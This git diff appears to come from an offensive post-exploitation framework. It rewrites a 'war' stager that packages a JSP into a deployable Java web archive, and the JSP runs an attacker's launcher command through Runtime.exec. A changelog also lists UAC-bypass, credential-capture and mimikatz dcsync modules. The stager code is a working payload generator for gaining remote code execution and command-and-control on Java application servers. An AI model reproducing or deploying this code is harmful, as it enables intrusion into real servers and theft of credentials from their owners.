diff --git a/changelog b/changelog
index e8e71fa..fbb6143 100644
--- a/changelog
+++ b/changelog
@@ -1,3 +1,9 @@
+8/26/2015
+---------
+-Added module privesc/bypassuac_wscript
+-Added module collection/inveigh
+-Added stager war
+
8/24/2015
---------
-Added credentials/mimikatz/dcsync for remote DC credential extraction
diff --git a/lib/stagers/war.py b/lib/stagers/war.py
index d8ad99e..548d51e 100644
--- a/lib/stagers/war.py
+++ b/lib/stagers/war.py
@@ -1,5 +1,6 @@
from lib.common import helpers
-import subprocess
+import zipfile
+import StringIO
class Stager:
@@ -26,16 +27,16 @@ class Stager:
'Required' : True,
'Value' : ''
},
- 'OutDir' : {
- 'Description' : 'Directory to output WAR to.',
- 'Required' : True,
- 'Value' : '/tmp/'
+ 'AppName' : {
+ 'Description' : 'Name for the .war/.jsp. Defaults to listener name.',
+ 'Required' : False,
+ 'Value' : ''
},
- 'Base64' : {
- 'Description' : 'Switch. Base64 encode the output.',
+ 'OutFile' : {
+ 'Description' : 'File to write .war to.',
'Required' : True,
- 'Value' : 'True'
- },
+ 'Value' : ''
+ },
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
@@ -68,53 +69,53 @@ class Stager:
# extract all of our options
listenerName = self.options['Listener']['Value']
- base64 = self.options['Base64']['Value']
+ appName = self.options['AppName']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
- directoryName = self.options['OutDir']['Value']
- encode = False
- if base64.lower() == "true":
- encode = True
+ # appName defaults to the listenername
+ if appName == "":
+ appName = listenerName
# generate the launcher code
- launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
+ launcher = self.mainMenu.stagers.generate_launcher(listenerName, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
- elif directoryName[-1] != "/":
- print helpers.color("[!] Error in OutDir Value. Please specify path like '/tmp/'")
- return ""
- else:
- #Create initial JSP and Web XML Strings with placeholders
- jspCode = '''<%@ page import="java.io.*" %>
- <%
- Process p=Runtime.getRuntime().exec("launcher");
- %>
- '''
-
- wxmlCode = '''
-
-
-
- listenerName
- /listenerName.jsp
-
-
- '''
- #Replace String placeholders with defined content
- jspCode = jspCode.replace("launcher", launcher)
- wxmlCode = wxmlCode.replace("listenerName", listenerName, 2)
- #Write out modified strings to apropriate files
- with open(directoryName + listenerName + ".jsp", "w") as jspFile:
- jspFile.write(jspCode)
- with open(directoryName + "web.xml", "w") as webxmlFile:
- webxmlFile.write(wxmlCode)
- #Create necessary directory structure, move files into appropriate place, compile, and delete unncessary left over content
- proc = subprocess.call("cd "+ directoryName + "&&mkdir warDir&&mkdir warDir/WEB-INF&&mv listenerName.jsp warDir&&mv web.xml warDir/WEB-INF&&cd warDir&&jar cvf listenerName.war *&&mv listenerName.war ../&&cd ..&&rm -rf warDir".replace ("listenerName", listenerName, 3), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
-
- return "Your file " + listenerName + ".war was successfully generated and placed within " + directoryName +". Please note that the .war and .jsp are both named after the specified Listener."
+
+ else:
+ # .war manifest
+ manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_35 (Sun Microsystems Inc.)\r\n\r\n"
+
+ # Create initial JSP and Web XML Strings with placeholders
+ jspCode = '''<%@ page import="java.io.*" %>
+<%
+Process p=Runtime.getRuntime().exec("'''+str(launcher)+'''");
+%>
+'''
+
+ # .xml deployment config
+ wxmlCode = '''
+
+
+
+%s
+/%s.jsp
+
+
+''' %(appName, appName)
+
+ # build the in-memory ZIP and write the three files in
+ warFile = StringIO.StringIO()
+ zipData = zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED)
+
+ zipData.writestr("META-INF/MANIFEST.MF", manifest)
+ zipData.writestr("WEB-INF/web.xml", wxmlCode)
+ zipData.writestr(appName + ".jsp", jspCode)
+ zipData.close()
+
+ return warFile.getvalue()